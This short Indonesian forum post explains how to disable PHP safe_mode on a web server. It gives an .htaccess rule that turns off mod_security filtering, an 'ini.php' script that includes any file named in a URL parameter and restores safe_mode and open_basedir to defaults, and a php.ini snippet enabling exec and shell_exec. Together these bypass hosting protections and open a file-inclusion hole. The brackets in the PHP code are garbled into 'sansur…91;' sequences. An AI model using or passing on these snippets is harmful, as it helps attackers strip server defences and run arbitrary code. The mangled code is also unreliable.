Berikut ini beberapa cara untuk menganti safe_mode on ke Off
.htaccess
ini.php
php.ini
.htaccess
Code:
<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
ini.php
Code:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GETsansursansursansur91;"file"sansursansursansur93;);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GETsansursansursansur91;"ss"sansursansursansur93;);
?>
php.ini
Code:
safe_mode = off
exec = On
shell_exec = On